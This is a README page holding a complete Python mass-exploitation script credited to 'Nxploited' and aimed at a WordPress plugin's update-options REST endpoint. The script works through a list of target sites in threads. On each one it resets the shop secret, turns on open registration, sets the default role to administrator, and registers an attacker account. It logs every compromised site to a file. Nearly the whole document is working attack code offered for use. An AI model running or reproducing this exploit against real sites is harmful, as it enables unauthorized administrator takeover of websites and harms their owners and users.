README.md
Rendering markdown...
#!/usr/bin/env python3
# By: Nxploited
import sys
import re
import threading
from queue import Queue
from typing import List, Tuple
import requests
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from rich.table import Table
from rich.live import Live
from rich.align import Align
from rich import box
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
pass
requests.packages.urllib3.disable_warnings()
console = Console()
SESSION = requests.Session()
SESSION.verify = False
RESULT_FILE = "Login_admin.txt"
USER_AGENT = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/122.0.0.0 Safari/537.36"
)
SHOP_SECRET_FIELD = "shop_secret"
ACTION_RESET = "resetStoreConfigrations"
ACTION_OPTION = "createUpdateOption"
KEY_REGISTER = "users_can_register"
VAL_REGISTER = "1"
KEY_ROLE = "default_role"
VAL_ROLE = "administrator"
WP_REG_ACTION = "wp-login.php?action=register"
SUCCESS_RESET_PATTERN = re.compile(
r"app secret key has been updated successfully", re.I
)
SUCCESS_OPTION_PATTERN = re.compile(
r"wordpress option has been created or updated successfully", re.I
)
REGISTER_OPEN_PATTERN = re.compile(
r"Users can register|Anyone can register|user\_registration|registerform", re.I
)
def render_banner() -> Panel:
art = r"""
. . . . . ,---, ,-.
|\ | | o | | / | \
| \| . , ;-. | ,-. . |- ,-. ,-| --- / ,-. ;-. ,-. --- | |
| | X | | | | | | | |-' | | / |-' | | | | /
' ' ' ` |-' ' `-' ' `-' `-' `-' '---' `-' ' `-' `-'
'
"""
header = Text(art, justify="center", style="bold magenta")
sub = Text(
"By: Nxploited (Nxploited ZeroDay Hub) | Contact: @Kxploit",
style="bold white",
justify="center",
)
info = Text(
"Flow: resetStoreConfigrations -> users_can_register=1 -> default_role=administrator -> auto register user\n"
"Output: Login_admin.txt | Register: http(s)://target/wp-login.php?action=register",
style="italic bright_black",
justify="center",
)
combined = Text.assemble(header, "\n", sub, "\n\n", info)
return Panel(
Align.center(combined),
border_style="white",
box=box.HEAVY,
padding=(1, 4),
)
def prompt_targets_file() -> str:
val = console.input(
"[bold cyan]Targets file (one host/URL per line)[/bold cyan] [list.txt]: "
).strip()
return val if val else "list.txt"
def prompt_threads() -> int:
while True:
val = console.input("[bold cyan]Threads (1-50)[/bold cyan] [10]: ").strip()
if not val:
return 10
try:
n = int(val)
if n < 1:
console.print("[red]Threads must be at least 1[/red]")
else:
return 50 if n > 50 else n
except Exception:
console.print("[red]Enter a valid integer[/red]")
def prompt_secret() -> str:
val = console.input(
"[bold cyan]shop_secret[/bold cyan] [Nxploited_newSecret]: "
).strip()
return val if val else "Nxploited_newSecret"
def prompt_registration_creds() -> Tuple[str, str, str]:
username = console.input(
"[bold cyan]Registration username[/bold cyan] [Nx_test1]: "
).strip() or "Nx_test1"
email = console.input(
"[bold cyan]Registration email[/bold cyan] [[email protected]]: "
).strip() or "[email protected]"
password = console.input(
"[bold cyan]Registration password[/bold cyan] [Nx_adminSA]: "
).strip() or "Nx_adminSA"
return username, email, password
def normalize_site(raw: str) -> str:
raw = raw.strip()
if not raw:
return raw
if not raw.startswith(("http://", "https://")):
raw = "http://" + raw
return raw.rstrip("/")
def build_headers(referer: str) -> dict:
return {
"User-Agent": USER_AGENT,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.9",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": referer,
}
def send_reset_secret(site: str, secret: str, timeout: int = 10) -> Tuple[bool, str]:
url = f"{site.rstrip('/')}/wp-json/gsf/v1/update-options"
data = {
"action": ACTION_RESET,
SHOP_SECRET_FIELD: secret,
}
try:
r = SESSION.post(url, data=data, headers=build_headers(url), timeout=timeout)
except Exception as e:
return False, f"reset_error:{e}"
body = r.text or ""
if SUCCESS_RESET_PATTERN.search(body):
return True, "reset_ok"
return False, f"reset_fail(status={r.status_code})"
def send_option(
site: str,
secret: str,
key: str,
value: str,
timeout: int = 10,
) -> Tuple[bool, str]:
url = f"{site.rstrip('/')}/wp-json/gsf/v1/update-options"
data = {
"action": ACTION_OPTION,
SHOP_SECRET_FIELD: secret,
"option_key": key,
"option_value": value,
}
try:
r = SESSION.post(url, data=data, headers=build_headers(url), timeout=timeout)
except Exception as e:
return False, f"option_error:{e}"
body = r.text or ""
if SUCCESS_OPTION_PATTERN.search(body):
return True, "option_ok"
return False, f"option_fail(status={r.status_code})"
def build_register_url(site: str) -> str:
return f"{site.rstrip('/')}/{WP_REG_ACTION}"
def check_registration_open(site: str, timeout: int = 10) -> Tuple[bool, str]:
url = build_register_url(site)
try:
r = SESSION.get(
url,
headers={"User-Agent": USER_AGENT, "Referer": site},
timeout=timeout,
verify=False,
)
except Exception as e:
return False, f"reg_check_error:{e}"
body = r.text or ""
if r.status_code == 200 and REGISTER_OPEN_PATTERN.search(body):
return True, "register_open"
if "user registration is currently not allowed" in body.lower():
return False, "register_closed"
return False, f"reg_unknown(status={r.status_code})"
def try_register_user(
site: str,
username: str,
email: str,
password: str,
timeout: int = 10,
) -> Tuple[bool, str]:
url = build_register_url(site)
try:
r_get = SESSION.get(
url,
headers={"User-Agent": USER_AGENT, "Referer": site},
timeout=timeout,
verify=False,
)
except Exception as e:
return False, f"reg_form_error:{e}"
body = r_get.text or ""
nonce_match = re.search(
r'<input[^>]+name=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']',
body,
re.I,
)
nonce = nonce_match.group(1) if nonce_match else ""
data = {
"user_login": username,
"user_email": email,
}
if "user_pass" in body or "password" in body.lower():
data["user_pass"] = password
data["user_pass2"] = password
data["_wpnonce"] = nonce
data["_wp_http_referer"] = "/wp-login.php?action=register"
data["redirect_to"] = ""
data["wp-submit"] = "Register"
try:
r_post = SESSION.post(
url,
data=data,
headers=build_headers(url),
timeout=timeout,
verify=False,
)
except Exception as e:
return False, f"reg_post_error:{e}"
txt = (r_post.text or "").lower()
if any(s in txt for s in ["registration complete", "check your email", "user registered"]):
return True, f"registered user={username} email={email} pass={password}"
if "username" in txt and "already" in txt and "exists" in txt:
return True, "user_already_exists"
return False, "reg_unknown_response"
def write_success_line(site: str, secret: str, detail: str) -> None:
reg_url = build_register_url(site)
line = f"{site} | register_url: {reg_url} | shop_secret: {secret} | {detail}\n"
with open(RESULT_FILE, "a", encoding="utf-8") as f:
f.write(line)
def worker(
sites: List[str],
queue: Queue,
timeout: int,
fixed_secret: str,
reg_username: str,
reg_email: str,
reg_password: str,
) -> None:
for raw_site in sites:
site = normalize_site(raw_site)
if not site:
continue
label = site
secret = fixed_secret
try:
ok_reset, detail_reset = send_reset_secret(site, secret, timeout=timeout)
if not ok_reset:
queue.put(("fail", label, f"{detail_reset}"))
continue
ok_regopt, detail_regopt = send_option(
site, secret, KEY_REGISTER, VAL_REGISTER, timeout=timeout
)
ok_roleopt, detail_roleopt = send_option(
site, secret, KEY_ROLE, VAL_ROLE, timeout=timeout
)
if not (ok_regopt or ok_roleopt):
queue.put(
(
"fail",
label,
f"{detail_regopt} | {detail_roleopt}",
)
)
continue
reg_open, detail_open = check_registration_open(site, timeout=timeout)
if not reg_open:
write_success_line(
site,
secret,
f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open}",
)
queue.put(
(
"success",
label,
f"options_set (no_register) (secret={secret})",
)
)
continue
ok_reguser, detail_reguser = try_register_user(
site,
reg_username,
reg_email,
reg_password,
timeout=timeout,
)
if ok_reguser:
write_success_line(
site,
secret,
f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open},{detail_reguser}",
)
queue.put(
(
"success",
label,
f"options_set + user_registered (secret={secret})",
)
)
else:
write_success_line(
site,
secret,
f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open},reg_fail:{detail_reguser}",
)
queue.put(
(
"success",
label,
f"options_set (reg_attempt_failed) (secret={secret})",
)
)
except Exception as e:
queue.put(("error", label, f"exception:{e}"))
def chunkify(lst: List[str], n: int) -> List[List[str]]:
if n <= 0:
n = 1
return [lst[i::n] for i in range(n)]
def printer_loop(queue: Queue, total: int) -> None:
table = Table(
expand=True,
show_lines=False,
header_style="bold white",
)
table.add_column("#", justify="right", width=4)
table.add_column("Site", justify="left")
table.add_column("Status", justify="center", width=16)
table.add_column("Detail", justify="left")
processed = 0
rows: List[Tuple[str, str, str, str]] = []
with Live(Align.center(table), console=console, refresh_per_second=8) as live:
while True:
item = queue.get()
if item is None:
break
typ, site, detail = item
processed += 1
idx = len(rows) + 1
if typ == "success":
status_text = "[green]SUCCESS[/green]"
elif typ == "error":
status_text = "[yellow]ERROR[/yellow]"
else:
status_text = "[red]FAILED[/red]"
rows.append((str(idx), site, status_text, detail))
table = Table(
expand=True,
show_lines=False,
header_style="bold white",
)
table.add_column("#", justify="right", width=4)
table.add_column("Site", justify="left")
table.add_column("Status", justify="center", width=16)
table.add_column("Detail", justify="left")
for r in rows:
table.add_row(*r)
footer = Text(
f"Processed {processed}/{total} targets · Output: {RESULT_FILE}",
style="italic bright_black",
)
panel = Panel(
Align.center(table),
border_style="white",
box=box.SQUARE,
title="[bold cyan]gsf · users_can_register=1 · default_role=administrator[/bold cyan]",
subtitle_align="right",
subtitle=footer,
)
live.update(panel)
def main() -> None:
console.clear()
console.print(render_banner())
targets_file = prompt_targets_file()
threads_count = prompt_threads()
timeout = 8
fixed_secret = prompt_secret()
reg_username, reg_email, reg_password = prompt_registration_creds()
try:
with open(targets_file, "r", encoding="utf-8") as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
console.print(f"[bold red]Targets file not found: {targets_file}[/bold red]")
sys.exit(1)
if not targets:
console.print("[bold red]Targets list is empty.[/bold red]")
sys.exit(1)
n_threads = min(threads_count, len(targets))
chunks = chunkify(targets, n_threads)
queue: Queue = Queue()
printer = threading.Thread(
target=printer_loop, args=(queue, len(targets)), daemon=True
)
printer.start()
workers: List[threading.Thread] = []
for chunk in chunks:
t = threading.Thread(
target=worker,
args=(chunk, queue, timeout, fixed_secret, reg_username, reg_email, reg_password),
daemon=True,
)
t.start()
workers.append(t)
for t in workers:
t.join()
queue.put(None)
printer.join()
console.print(
f"\n[bold green]Done.[/bold green] Successful sites (if any) saved to [bold]{RESULT_FILE}[/bold]."
)
if __name__ == "__main__":
main()